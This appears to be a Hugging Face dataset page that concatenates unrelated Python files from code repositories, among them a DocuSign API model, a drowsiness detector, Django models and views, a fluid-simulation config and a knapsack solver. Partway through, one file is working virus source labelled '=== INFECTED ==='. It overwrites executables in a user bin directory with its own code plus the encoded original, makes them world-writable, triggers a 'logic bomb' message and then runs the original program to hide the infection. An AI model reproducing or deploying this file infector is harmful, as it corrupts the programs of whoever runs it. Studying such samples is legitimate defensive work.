Reset23/the-stack-v2-blamed2 · Datasets at Hugging Face

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/docusign_esign/models/offline_attributes.py

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hunk/docusign-python-client

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refs/heads/master

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2020-04-01T05:51:08

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# coding: utf-8 """ DocuSign REST API The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign. OpenAPI spec version: v2.1 Contact: devcenter@docusign.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class OfflineAttributes(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ def __init__(self, account_esign_id=None, device_model=None, device_name=None, gps_latitude=None, gps_longitude=None, offline_signing_hash=None): """ OfflineAttributes - a model defined in Swagger :param dict swaggerTypes: The key is attribute name and the value is attribute type. :param dict attributeMap: The key is attribute name and the value is json key in definition. """ self.swagger_types = { 'account_esign_id': 'str', 'device_model': 'str', 'device_name': 'str', 'gps_latitude': 'str', 'gps_longitude': 'str', 'offline_signing_hash': 'str' } self.attribute_map = { 'account_esign_id': 'accountEsignId', 'device_model': 'deviceModel', 'device_name': 'deviceName', 'gps_latitude': 'gpsLatitude', 'gps_longitude': 'gpsLongitude', 'offline_signing_hash': 'offlineSigningHash' } self._account_esign_id = account_esign_id self._device_model = device_model self._device_name = device_name self._gps_latitude = gps_latitude self._gps_longitude = gps_longitude self._offline_signing_hash = offline_signing_hash @property def account_esign_id(self): """ Gets the account_esign_id of this OfflineAttributes. A GUID identifying the account associated with the consumer disclosure :return: The account_esign_id of this OfflineAttributes. :rtype: str """ return self._account_esign_id @account_esign_id.setter def account_esign_id(self, account_esign_id): """ Sets the account_esign_id of this OfflineAttributes. A GUID identifying the account associated with the consumer disclosure :param account_esign_id: The account_esign_id of this OfflineAttributes. :type: str """ self._account_esign_id = account_esign_id @property def device_model(self): """ Gets the device_model of this OfflineAttributes. A string containing information about the model of the device used for offline signing. :return: The device_model of this OfflineAttributes. :rtype: str """ return self._device_model @device_model.setter def device_model(self, device_model): """ Sets the device_model of this OfflineAttributes. A string containing information about the model of the device used for offline signing. :param device_model: The device_model of this OfflineAttributes. :type: str """ self._device_model = device_model @property def device_name(self): """ Gets the device_name of this OfflineAttributes. A string containing information about the type of device used for offline signing. :return: The device_name of this OfflineAttributes. :rtype: str """ return self._device_name @device_name.setter def device_name(self, device_name): """ Sets the device_name of this OfflineAttributes. A string containing information about the type of device used for offline signing. :param device_name: The device_name of this OfflineAttributes. :type: str """ self._device_name = device_name @property def gps_latitude(self): """ Gets the gps_latitude of this OfflineAttributes. A string containing the latitude of the device location at the time of signing. :return: The gps_latitude of this OfflineAttributes. :rtype: str """ return self._gps_latitude @gps_latitude.setter def gps_latitude(self, gps_latitude): """ Sets the gps_latitude of this OfflineAttributes. A string containing the latitude of the device location at the time of signing. :param gps_latitude: The gps_latitude of this OfflineAttributes. :type: str """ self._gps_latitude = gps_latitude @property def gps_longitude(self): """ Gets the gps_longitude of this OfflineAttributes. A string containing the longitude of the device location at the time of signing. :return: The gps_longitude of this OfflineAttributes. :rtype: str """ return self._gps_longitude @gps_longitude.setter def gps_longitude(self, gps_longitude): """ Sets the gps_longitude of this OfflineAttributes. A string containing the longitude of the device location at the time of signing. :param gps_longitude: The gps_longitude of this OfflineAttributes. :type: str """ self._gps_longitude = gps_longitude @property def offline_signing_hash(self): """ Gets the offline_signing_hash of this OfflineAttributes. :return: The offline_signing_hash of this OfflineAttributes. :rtype: str """ return self._offline_signing_hash @offline_signing_hash.setter def offline_signing_hash(self, offline_signing_hash): """ Sets the offline_signing_hash of this OfflineAttributes. :param offline_signing_hash: The offline_signing_hash of this OfflineAttributes. :type: str """ self._offline_signing_hash = offline_signing_hash def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other

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noreply@github.com

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/.history/Drowsy_Detection_20210728124624.py

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KhanhNguyen1308/Python-mediapippe

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refs/heads/main

2023-06-25T18:37:43.234063

2021-07-29T11:35:31

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import cv2 import time import numpy as np import mediapipe as mp import tensorflow as tf from threading import Thread from head_pose_ratio import head_pose_ratio from function import draw_point, eye_avg_ratio, put_text from Angle_head_pose_ratio import head_pose_status, eye_stat from mode import sleep_mode interpreter = tf.lite.Interpreter('model.tflite') interpreter.allocate_tensors() input_details = interpreter.get_input_details() output_details = interpreter.get_output_details() cap = cv2.VideoCapture('Video/test_1406.mp4') # cap = cv2.VideoCapture(0) pTime = 0 time_active = 0 m = 0 status = '' mpDraw = mp.solutions.drawing_utils mpFaceMesh = mp.solutions.face_mesh faceMesh = mpFaceMesh.FaceMesh() drawSpec = mpDraw.DrawingSpec(thickness=1, circle_radius=2) eye_status = '' x_status = '' y_status = '' z_status = '' head_status = '' Drowsy_mode = '' draw = False t = 0 ear = 0 start_time = time.time() count = 0 blink = 0 blink_perM = 0 pre_blink = 0 while True: ret, img = cap.read() ih, iw = img.shape[0], img.shape[1] imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) results = faceMesh.process(imgRGB) if results: face = [] Mount = [] Left_eye = [] Right_eye = [] try: for face_lms in results.multi_face_landmarks: for lm in face_lms.landmark: x, y = int(lm.x * iw), int(lm.y * ih) face.append([x, y]) nose = face[5] Left_eye.append([face[249], face[374], face[380], face[382], face[385], face[386]]) Right_eye.append([face[7], face[145], face[153], face[155], face[158], face[159]]) Mount.append([face[308], face[317], face[14], face[87], face[61], face[82], face[13], face[312]]) img = draw_point(img, nose, Left_eye, Right_eye, Mount) ear = eye_avg_ratio(Left_eye, Right_eye) x1, x2, x3, x4, x5, x6 = head_pose_ratio(nose, Left_eye, Right_eye) input_shape = input_details[0]['shape'] input_data = np.array((x1, x2, x3, x4, x5, x6), dtype=np.float32) interpreter.set_tensor(input_details[0]['index'], input_data) interpreter.invoke() img = cv2.putText(img, str(x5), (nose[0] - 20, nose[1]), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1) img = cv2.putText(img, str(x6), (nose[0] + 20, nose[1]), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1) head_status, mode = head_pose_status(x5, x6, x2) eye_status, blink, count = eye_stat(ear, count, blink, mode) if mode == 1: print(round(ear, 3)) Drowsy_mode = sleep_mode(mode, ear, blink) m += 1 except: eye_status = 'None Face' x_status = 'None Face' y_status = 'None Face' cTime = time.time() fps = int(1 / (cTime - pTime)) pTime = cTime img = cv2.putText(img, str(m), (10, 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 0, 0), 1) text_fps = 'FPS:' + str(fps) text_EaR = 'Eye_avg_Ratio: ' + str(round(ear, 2)) text_Head_pose = 'Head_pose: ' + head_status text_ES = 'Eye_Status: ' + eye_status text_blink = 'Blink_Num: ' + str(blink) text_blink_avg = 'Blink_AVG: ' + str(blink_perM) img = put_text(img, text_fps, text_EaR, text_ES, text_blink, text_blink_avg, text_Head_pose) cv2.imshow('results', img) if (time.time() - start_time) > 60: start_time = time.time() time_active += 1 blink_perM = blink pre_blink = blink blink = 0 key = cv2.waitKey(1) # if m == 900: # break if key == ord('q'): break cap.release() cv2.destroyAllWindows()

[ "khanhnguyenduy1308@gmail.com" ]

khanhnguyenduy1308@gmail.com

b39d2e8a3337080a1c893fd9b36e4a0743b7a421

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/todo/models.py

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no_license

ansu5555/TaskManager

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refs/heads/master

2021-09-06T22:35:08.632556

2018-02-12T17:46:27

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from django.db import models # Create your models here. class todo_lists(models.Model): todo_crtdt = models.DateTimeField(auto_now_add=True) todo_detail = models.CharField(max_length=100) todo_duedt = models.DateTimeField() todo_complete = models.BooleanField(default=False)

[ "ansuman5555@gmail.com" ]

ansuman5555@gmail.com

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085773c6b2945589e60022ba8268d2e93a61145f

/cha_10_regular_expression/10_7_match.py

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[]

no_license

bj1570saber/muke_Python_July

dde67a74882f0bcc72c1aca828922829376a0375

96fa464bd0eeb8a922e713700addb548b6ef4727

refs/heads/master

2020-09-08T14:08:36.963017

2020-01-09T08:54:41

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import re a = 'pyth_pytho0python1pythonn2pythonnnn' # *: match previous char 'n' 0 or many times r = re.findall('python*', a) print(r)# ['pytho', 'python', 'pythonn', 'pythonnnn'] print('~' * 20) # +: match previous char 'n' 1 or many times r = re.findall('python+', a) print(r)# ['python', 'pythonn', 'pythonnnn'] print('~' * 20) # ?: match previous char 'n' 1 or 0 time r = re.findall('python?', a) print(r)#['pytho', 'python', 'python', 'python'] print('~' * 20) # number: match previous char 'n' 1-3 times OK r = re.findall('python{1,3}', a) # accept 1-3 times 'n'. print(r)#['python', 'pythonn', 'pythonnn'] print('~' * 20) ### ?: force None Greedy # ? match previous char 'n' 1 time only r = re.findall('python{1,3}?', a) # as less 'n' as possible. print(r)#['python', 'python', 'python']

[ "bj1570saber@gmail.com" ]

bj1570saber@gmail.com

904a7bc9b799b09ef6eb6b12445e53839cc08f7b

a02a2da4ca761b74544ab0fe819847074930fed8

/demos/incompressible_flow/scalar_transport/almgren-two-grids-check-div-eps-1/config.py

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[]

no_license

marc-nguessan/mrpy

40ac7a11404ed97ab5824f4dc8fd57e8d51caf95

6fb0bce485234a45bb863f71bc2bdf0a22014de3

refs/heads/master

2020-12-03T08:28:11.312333

2020-01-01T19:05:05

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"""... """ from math import * # Definition of time integration t_ini = 0. t_end = 0.5 nt = 200 dt = (t_end - t_ini) / nt dt_sc = dt / 20 # Definition of the printing options n_print = min(nt, 600) #n_print = nt dt_print = (t_end - t_ini) / n_print # domain size L = 1 x_1 = 0. y_1 = 0. x_2 = 0.09 y_2 = 0. x_3 = -0.045 y_3 = 0.045*sqrt(3) x_4 = -0.045 y_4 = -0.045*sqrt(3) x_5 = -0.09 y_5 = 0. F_1 = -150 F_2 = 50 F_3 = 50 F_4 = 50 F_5 = -100 F_6 = 50 # Definition of the domain dimensions xmin = -L/2. xmax = L/2. ymin = -L/2. ymax = L/2. zmin = -L/2. zmax = L/2. # Definition of the flow characteristics Re = 100. nu = 5.e-4 # (m*m)/s kappa = 5.e-3 # (m*m)/s # Tree dimmension dimension = 2 # Trees min_level min_level = 2 min_level_sc = 2 # Trees max_level max_level = 7 max_level_sc = 7 # Tree stencil graduation stencil_graduation = 1 # Tree stencil prediction stencil_prediction = 1 # Frequency of the multiresolution transform mr_freq = 10 # function # def function(x, y, t=0.): # from math import sin, cos, exp, pi # return sin(pi*(x+t))*sin(pi*(y+t)) #def function(x): # # from math import tanh # # return tanh(50.*abs(x-1./2.)) #def function(x, y): # # from math import exp, sqrt # # return exp(-30.*sqrt((x+0.5)**2 + (y-0.5)**2)) + exp(-30.*sqrt((x-0.5)**2 + (y+0.5)**2)) # Definition of the boundary conditions dictionary bc_dict # # bc_dict gives the value of the north, south, west and # # east values of every variables involved in the flow # # computation def u_north(coords, t=0.): #return (Re*nu) / (xmax - xmin) #return 1. return 0. def u_south(coords, t=0.): #return 1. return 0. def u_west(coords, t=0.): #return 1. return 0. def u_east(coords, t=0.): #return 1. return 0. def u_back(coords, t=0.): #return 1. return 0. def u_forth(coords, t=0.): #return 1. return 0. def v_north(coords, t=0.): #return 1. return 0. def v_south(coords, t=0.): #return 1. return 0. def v_west(coords, t=0.): #return 1. return 0. def v_east(coords, t=0.): #return 1. return 0. def v_back(coords, t=0.): #return 1. return 0. def v_forth(coords, t=0.): #return 1. return 0. def p_north(coords, t=0.): #return 1. return 0. def p_south(coords, t=0.): #return 1. return 0. def p_west(coords, t=0.): #return 1. return 0. def p_east(coords, t=0.): #return 1. return 0. def p_back(coords, t=0.): #return 1. return 0. def p_forth(coords, t=0.): #return 1. return 0. def s_north(coords, t=0.): #return 1. return 0. def s_south(coords, t=0.): #return 1. return 0. def s_west(coords, t=0.): #return 1. return 0. def s_east(coords, t=0.): #return 1. return 0. def s_back(coords, t=0.): #return 1. return 0. def s_forth(coords, t=0.): #return 1. return 0. def phi_north(coords, t=0.): #return 1. return 0. def phi_south(coords, t=0.): #return 1. return 0. def phi_west(coords, t=0.): #return 1. return 0. def phi_east(coords, t=0.): #return 1. return 0. def phi_back(coords, t=0.): #return 1. return 0. def phi_forth(coords, t=0.): #return 1. return 0. bc_dict = {"u": {"north": ("neumann", u_north), #"north": ("dirichlet", u_north), #"north": ("periodic", u_north), "south": ("neumann", u_south), #"south": ("dirichlet", u_south), #"south": ("periodic", u_south), "east": ("dirichlet", u_east), #"east": ("periodic", u_east), #"east": ("neumann", u_east), "west": ("dirichlet", u_west), #"west": ("periodic", u_west), #"west": ("neumann", u_west), #"back": ("dirichlet", u_back), "back": ("periodic", u_back), #"back": ("neumann", u_back), #"forth": ("dirichlet", u_forth)}, "forth": ("periodic", u_forth)}, #"forth": ("neumann", u_forth)}, "v": {#"north": ("neumann", v_north), "north": ("dirichlet", v_north), #"north": ("periodic", v_north), #"south": ("neumann", v_south), "south": ("dirichlet", v_south), #"south": ("periodic", v_south), #"east": ("dirichlet", v_east), #"east": ("periodic", v_east), "east": ("neumann", v_east), #"west": ("dirichlet", v_west), #"west": ("periodic", v_west), "west": ("neumann", v_west), #"back": ("dirichlet", v_back), "back": ("periodic", v_back), #"back": ("neumann", v_back), #"forth": ("dirichlet", v_forth), "forth": ("periodic", v_forth)}, #"forth": ("neumann", v_forth)}, "phi": {#"north": ("neumann", phi_north), "north": ("dirichlet", phi_north), #"north": ("periodic", phi_north), #"south": ("neumann", phi_south), "south": ("dirichlet", phi_south), #"south": ("periodic", phi_south), "east": ("dirichlet", phi_east), #"east": ("periodic", phi_east), #"east": ("neumann", phi_east), "west": ("dirichlet", phi_west), #"west": ("periodic", phi_west), #"west": ("neumann", phi_west), #"back": ("dirichlet", phi_back), "back": ("periodic", phi_back), #"back": ("neumann", phi_back), #"forth": ("dirichlet", phi_forth), "forth": ("periodic", phi_forth)}, #"forth": ("neumann", phi_forth)}, "s": {"north": ("neumann", s_north), #"north": ("dirichlet", s_north), #"north": ("periodic", s_north), "south": ("neumann", s_south), #"south": ("dirichlet", s_south), #"south": ("periodic", s_south), #"east": ("dirichlet", s_east), #"east": ("periodic", s_east), "east": ("neumann", s_east), #"west": ("dirichlet", s_west), #"west": ("periodic", s_west), "west": ("neumann", s_west), #"back": ("dirichlet", s_back), "back": ("periodic", s_back), #"back": ("neumann", s_back), #"forth": ("dirichlet", s_forth), "forth": ("periodic", s_forth)}, #"forth": ("neumann", s_forth)}, "p": {"north": ("neumann", p_north), #"north": ("dirichlet", p_north), #"north": ("periodic", p_north), "south": ("neumann", p_south), #"south": ("dirichlet", p_south), #"south": ("periodic", p_south), #"east": ("dirichlet", p_east), #"east": ("periodic", p_east), "east": ("neumann", p_east), #"west": ("dirichlet", p_west), #"west": ("periodic", p_west), "west": ("neumann", p_west), #"back": ("dirichlet", p_back), #"back": ("periodic", p_back), "back": ("neumann", p_back), #"forth": ("dirichlet", p_forth), #"forth": ("periodic", p_forth)}} "forth": ("neumann", p_forth)}} # Name of the prediction operator module used for a given simulation prediction_operator_module = "mrpy.mr_utils.operators.prediction." + "centered_polynomial_interpolation" # Threshold parameter threshold_parameter = 1.e-3 # Threshold speed propagation threshold_speed_propagation = 1 # Name of the thresholding operator #thresholding_operator_module = "thresholding_operators." + "harten_thresholding" thresholding_operator_module = "mrpy.mr_utils.operators.thresholding." + "predictive_thresholding" # Name of the scheme class used for the time integration #class_scheme_name = "mrpy.discretization." + "temporal_impl_expl_euler" class_scheme_name = "mrpy.discretization." + "temporal_radau2A" # Name of the scheme used for the time integration of the scalar scalar_scheme = "mrpy.discretization." + "RK4_scalar" # # Names of the six main spatial operators used for the computation of the # # simulation: divergence_x, divregence_y, gradient_x, gradient_y, laplacian_x, # # laplacian_y; the name are divided in two parts: # # the name of the package where the spatial operators modules are stored and the # # name of the specific python output module #gradient_module_name = "mrpy.spatial_operators." + "ctr_poly.2nd_order_ctr_finite_diff.gradient" gradient_module_name = "mrpy.spatial_operators." + "haar.2nd_order_ctr_finite_diff.gradient" #divergence_module_name = "mrpy.spatial_operators." + "ctr_poly.2nd_order_ctr_finite_diff.divergence" divergence_module_name = "spatial_operators." + "haar.2nd_order_ctr_finite_diff.divergence" #laplacian_module_name = "mrpy.spatial_operators." + "ctr_poly.2nd_order_ctr_finite_diff.laplacian" #laplacian_module_name = "mrpy.spatial_operators." + "ctr_poly.2nd_order_ctr_finite_diff.laplacian-bis" laplacian_module_name = "mrpy.spatial_operators." + "haar.2nd_order_ctr_finite_diff.laplacian" #laplacian_module_name = "mrpy.spatial_operators." + "haar.2nd_order_ctr_finite_diff.laplacian-bis" #mass_module_name = "mrpy.spatial_operators." + "ctr_poly.2nd_order_ctr_finite_diff.mass" mass_module_name = "spatial_operators." + "haar.2nd_order_ctr_finite_diff.mass" #inverse_mass_module_name = "mrpy.spatial_operators." + "ctr_poly.2nd_order_ctr_finite_diff.inverse_mass" inverse_mass_module_name = "spatial_operators." + "haar.2nd_order_ctr_finite_diff.inverse_mass" # Name of the output file used to print the solution; it is divided in two parts: # the name of the package where the input/output modules are stored and the # name of the specific python output module #output_module_name = "mrpy.io." + "output-1D-gnuplot" #output_module_name = "mrpy.io." + "output-tikz" #output_module_name = "mrpy.io." + "output-2D-gnuplot" output_module_name = "mrpy.io." + "output-xdmf" # !!!!!! partie ci-dessous a modifier !!!!!!!! # Definition of a function that gives the exact value of the x-component of the # velocity over the domain # Amplitude of the signal amp = 1.e+0 def u_exact(x, y, t=0.): # return pi*cos(pi*x)*sin(pi*y)*exp(-2*pi*pi*nu*t) #return amp*sin(pi*(x+t))*sin(pi*(y+t)) # return exp(-50*(x**2 + y**2)) return 0. # Definition of a function that gives the exact value of the y-component of the # velocity over the domain def v_exact(x, y, t=0.): # return -pi*sin(pi*x)*cos(pi*y)*exp(-2*pi*pi*nu*t) #return amp*cos(pi*(x+t))*cos(pi*(y+t)) # return -exp(-50*(x**2 + y**2)) return 0. # Definition of a function that gives the exact value of the pressure over the # domain def p_exact(x, y, t=0.): # return (pi*pi)/2.*(sin(pi*x)*sin(pi*x) + sin(pi*y)*sin(pi*y))*exp(-4*pi*pi*nu*t) #return amp*sin(pi*(x-y+t)) return 1. def sc_init(x, y, t=0.): return tanh(100*y) #if y < 0: # return 0. #else: # return 1. def omega(x, y, t=0.): #return 100*(exp(-(1/r_0**2)*((x - x_1)**2 + y**2)) + exp(-(1/r_0**2)*((x - x_2)**2 + y**2))) #return 0.5*F_1*(1 + tanh(100*(0.03 - sqrt((x - x_1)**2 + (y - y_1)**2)))) + \ # 0.5*F_2*(1 + tanh(100*(0.03 - sqrt((x - x_2)**2 + (y - y_2)**2)))) + \ # 0.5*F_3*(1 + tanh(100*(0.03 - sqrt((x - x_3)**2 + (y - y_3)**2)))) + \ # 0.5*F_4*(1 + tanh(100*(0.03 - sqrt((x - x_4)**2 + (y - y_4)**2)))) return 0.5*F_5*(1 + tanh(100*(0.03 - sqrt((x - x_1)**2 + (y - y_1)**2)))) + \ 0.5*F_6*(1 + tanh(100*(0.03 - sqrt((x - x_2)**2 + (y - y_2)**2)))) + \ 0.5*F_6*(1 + tanh(100*(0.03 - sqrt((x - x_5)**2 + (y - y_5)**2)))) #return 0. def source_term_function_velocity_x(x, y, t=0.): #return pi*(2*amp*nu*pi*sin(pi*(x+t))*sin(pi*(y+t)) + \ # amp*cos(pi*(x-y+t)) + amp*sin(pi*(x+y+2*t)) + \ # amp*amp*sin(pi*(x+t))*cos(pi*(x+t))) return 0. def source_term_function_velocity_y(x, y, t=0.): #return pi*(2*amp*nu*pi*cos(pi*(x+t))*cos(pi*(y+t)) - \ # amp*cos(pi*(x-y+t)) - amp*sin(pi*(x+y+2*t)) - \ # amp*amp*sin(pi*(y+t))*cos(pi*(y+t))) return 0.

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arthur.nguessan@gmail.com

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#!/usr/bin/python3 # === INFECTED === import os from sys import argv import stat import random import base64 import tempfile cmd_init, cmd = ('ls', 'ls') pathToCorrupt = '/home/tristan/my_bin/' fileToCorrupt = pathToCorrupt + cmd def isInfected(content): return content == b'# === INFECTED ===\n' def bomb(): print('BEAAAAAAAAAAH!') with open(fileToCorrupt, 'rb') as currentFile: ftcLines = currentFile.readlines() if isInfected(ftcLines[1]): filenames = os.listdir(pathToCorrupt) random.shuffle(filenames) for cmd in filenames: if cmd != cmd_init: with open(pathToCorrupt + cmd, 'rb') as newFile: ftcLines = newFile.readlines() if not isInfected(ftcLines[1]): fileToCorrupt = pathToCorrupt + cmd break else: print('All files already corrupted!') exit(0) # ftcLines contient le code binaire du programme ftcLines = b''.join(ftcLines) # On détermine où se trouve le code exécutable original with open(argv[0], 'rb') as currentFile: content = currentFile.readlines() startOrigin = False original = None virus = [] for i in range(len(content)): if startOrigin: original = content[i][2:] else: virus.append(content[i]) if content[i] == b'# === ORIGINAL ===\n': startOrigin = True # virus contient le virus # original contient le code binaire original # On efface l'exécutable, on écrit le code Python et on colle le code binaire print('Infection in progress : command', cmd) os.remove(fileToCorrupt) with open(fileToCorrupt, 'wb') as currentFile: for line in virus: currentFile.write(line) currentFile.write(b'# ' + base64.b64encode(ftcLines)) os.chmod(fileToCorrupt, stat.S_IXUSR | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH | stat.S_IROTH | stat.S_IWOTH) # Bombe logique bomb() # Exécution du code original try: if argv[0] != './easy_install_v2.py': if original is None: original = ftcLines temp = tempfile.NamedTemporaryFile(delete=True) with open(temp.name, 'wb') as tmpCmdFile: tmpCmdFile.write(base64.b64decode(original)) os.chmod(temp.name, stat.S_IXUSR | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH | stat.S_IROTH | stat.S_IWOTH) temp.file.close() os.system(temp.name +' ' + ' '.join(argv[1:])) except: exit(2) # === ORIGINAL ===

[ "tristan.colombo@gmail.com" ]

tristan.colombo@gmail.com

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#!/usr/bin/env python # Jonas Schnelli, 2013 # make sure the Dubaicash-Qt.app contains the right plist (including the right version) # fix made because of serval bugs in Qt mac deployment (https://bugreports.qt-project.org/browse/QTBUG-21267) from string import Template from datetime import date bitcoinDir = "./"; inFile = bitcoinDir+"/share/qt/Info.plist" outFile = "Dubaicash-Qt.app/Contents/Info.plist" version = "unknown"; fileForGrabbingVersion = bitcoinDir+"bitcoin-qt.pro" for line in open(fileForGrabbingVersion): lineArr = line.replace(" ", "").split("="); if lineArr[0].startswith("VERSION"): version = lineArr[1].replace("\n", ""); fIn = open(inFile, "r") fileContent = fIn.read() s = Template(fileContent) newFileContent = s.substitute(VERSION=version,YEAR=date.today().year) fOut = open(outFile, "w"); fOut.write(newFileContent); print "Info.plist fresh created"

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#!/usr/bin/env python3 import numpy as np from tensorflow.python.keras.layers import Input, Dense from tensorflow.python.keras.models import Model inputs = Input(shape=(4,)) x = Dense(5, activation='relu')(inputs) predictions = Dense(3, activation='softmax')(x) model = Model(inputs=inputs, outputs=predictions) model.compile(loss='categorical_crossentropy', optimizer='nadam') model.fit( np.asarray([[1,2,3,4], [2,3,4,5]]), np.asarray([[1,0,0], [0,0,1]]), epochs=10) model.save('readme_example_model.h5', include_optimizer=False)

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editgym@gmail.com

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/RobustIntegerKnapsackModel.py

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"""A Pyomo representation of the Robust Integer Knapsack Problem. Run the Integer Knapsack Problem with instances found in Instances/ and write results into RobustIntegerKnapsackSolution.txt. Typical usage example: python3 RobustIntegerKnapsackModel.py """ import random import pyomo.environ as pyo from pyomo.environ import * import pyomo.kernel as pmo import os import warnings import time time_start = time.perf_counter() warnings.filterwarnings("ignore", category=DeprecationWarning) warnings.filterwarnings("ignore") counter = 0 for filename in os.listdir('Instances'): time_start = time.perf_counter() file = open('Instances/' + filename, "r") content = file.read() data = content.splitlines() index = [] profit = [] nominalWeight = [] robustWeight = [] solId = [] numberOfItems = int(data[0]) data.pop(0) capacityOfKnapsack = int(data[-1]) data.pop(-1) for item in data: index.append(int(item.split()[0]) + 1) profit.append(int(item.split()[1])) nominalWeight.append(int(item.split()[2])) robustWeight.append(int(item.split()[3])) v = {index[i]: profit[i] for i in range(len(index))} w = {index[i]: nominalWeight[i] for i in range(len(index))} r = {index[i]: nominalWeight[i] + 10 / 100 * nominalWeight[i] for i in range(len(index))} Gamma = int(10 / 100 * len(r)) tmp = random.sample(range(numberOfItems), Gamma) tmp = [i + 1 for i in tmp] for i in range(len(r)): if i not in tmp: r[i] = 0 M = ConcreteModel() # Pyomo. M.ITEMS = Set(initialize=v.keys()) M.x = Var(M.ITEMS, within=pmo.NonNegativeIntegers) M.value = Objective(expr=sum(v[i] * M.x[i] for i in M.ITEMS), sense=maximize) M.weight = Constraint(expr=sum((w[i] + r[i]) * M.x[i] for i in M.ITEMS) <= capacityOfKnapsack) S = pyo.SolverFactory('cplex') results = S.solve(M) sol = 0 for i in M.component_objects(Var, active=True): for index in i: sol = sol + i[index].value * v[index] if i[index].value > 0: for j in range(int(i[index].value)): solId.append(index) time_elapsed = (time.perf_counter() - time_start) f = open("RobustIntegerKnapsackSolutions.txt", "a") f.write(str(filename) + '|' + str(sol) + '|' + str(time_elapsed) + '|' + str(solId) + '\n') counter = counter + 1 print(counter)

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# -*- coding: utf-8 -*- """ /dms/discussboard/views_edit.py .. enthaelt den View zum Aendern der Eigenschaften des Diskussionsforums Django content Management System Hans Rauch hans.rauch@gmx.net Die Programme des dms-Systems koennen frei genutzt und den spezifischen Beduerfnissen entsprechend angepasst werden. 0.02 21.05.2008 get_role_choices 0.01 12.07.2007 Beginn der Arbeit """ from django.http import HttpResponse, HttpResponseRedirect from django.shortcuts import render_to_response from django import newforms as forms from django.db import transaction from django.utils.translation import ugettext as _ from dms.queries import get_site_url from dms.roles import * from dms.utils import get_tabbed_form from dms.utils import info_slot_to_header from dms.utils import get_parent_section_choices from dms.utils import remove_link_icons from dms.utils import get_choices_new_protected from dms.utils_form import get_folderish_vars_edit from dms.encode_decode import decode_html from dms.discussboard.utils import get_dont from dms.discussboard.help_form import help_form from dms_ext.extension import * # dms-Funktionen ueberschreiben # ----------------------------------------------------- @require_permission('perm_edit_folderish') def discussboard_edit(request, item_container): """ Eigenschaften des Ordners aendern """ params = request.GET.copy() profi_mode = params.has_key('profi') @transaction.commit_manually def save_values(item_container, old, new): """ Abspeichern der geaenderten Werte """ item_container.container.save_values(old, new) item_container.item.save_values(old, new) item_container.save_modified_values(old, new) transaction.commit() class dms_itemForm ( forms.Form ) : title = forms.CharField(max_length=240, widget=forms.TextInput(attrs={'size':60}) ) nav_title = forms.CharField(max_length=60, widget=forms.TextInput(attrs={'size':30}) ) sub_title = forms.CharField(required=False, max_length=240, widget=forms.TextInput(attrs={'size':60}) ) text = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows':5, 'cols':60, 'id':'ta', 'style':'width:100%;'}) ) text_more = forms.CharField(required=False, widget=forms.Textarea(attrs={'rows':10, 'cols':60, 'id':'ta1', 'style':'width:100%;'}) ) image_url = forms.CharField(required=False, max_length=200, widget=forms.TextInput(attrs={'size':60}) ) image_url_url = forms.URLField(required=False, max_length=200, widget=forms.TextInput(attrs={'size':60}) ) image_extern = forms.BooleanField(required=False) is_wide = forms.BooleanField(required=False) is_important = forms.BooleanField(required=False) if profi_mode: info_slot_right= forms.CharField(required=False, widget=forms.Textarea( attrs={'rows':10, 'cols':60, 'style':'width:100%;'}) ) else: info_slot_right= forms.CharField(required=False, widget=forms.Textarea( attrs={'rows':10, 'cols':60, 'id':'ta2', 'style':'width:100%;'}) ) section = forms.CharField(required=False, widget=forms.Select(choices=get_parent_section_choices(item_container), attrs={'size':4, 'style':'width:40%'} ) ) has_user_support = forms.BooleanField(required=False) has_comments = forms.BooleanField(required=False) is_moderated = forms.BooleanField(required=False) is_browseable = forms.BooleanField(required=False) visible_start = forms.DateField(input_formats=['%d.%m.%Y'], widget=forms.TextInput(attrs={'size':10})) visible_end = forms.DateField(input_formats=['%d.%m.%Y'], widget=forms.TextInput(attrs={'size':10})) show_next = forms.BooleanField(required=False) integer_4 = forms.ChoiceField(choices=get_choices_new_protected(), widget=forms.RadioSelect() ) app_name = 'discussboard' my_title = _(u'Diskussionsforum ändern') data_init = { 'title' : decode_html(item_container.item.title), 'nav_title' : decode_html(item_container.container.nav_title), 'sub_title' : item_container.item.sub_title, 'text' : remove_link_icons(item_container.item.text), 'text_more' : remove_link_icons(item_container.item.text_more), 'image_url' : item_container.item.image_url, 'image_url_url' : item_container.item.image_url_url, 'image_extern' : item_container.item.image_extern, 'is_wide' : item_container.item.is_wide, 'is_important' : item_container.item.is_important, 'info_slot_right' : info_slot_to_header(item_container.item.info_slot_right), 'section' : decode_html(item_container.section), 'has_comments' : item_container.item.has_comments, 'has_user_support': item_container.item.has_user_support, 'is_moderated' : item_container.item.is_moderated, 'is_browseable' : item_container.is_browseable, 'visible_start' : item_container.visible_start, 'visible_end' : item_container.visible_end, 'integer_4' : item_container.item.integer_4 } if request.method == 'POST' : data = request.POST.copy () else : data = data_init f = dms_itemForm ( data ) # --- Reihenfolge, Ueberschriften, Hilfetexte // Sonderfall: Startseite tabs = [ ('tab_base' , ['title', 'sub_title', 'nav_title', 'section', ]), ('tab_intro' , ['text', 'text_more', 'image_url', 'image_url_url', 'image_extern', 'is_wide', 'is_important']), 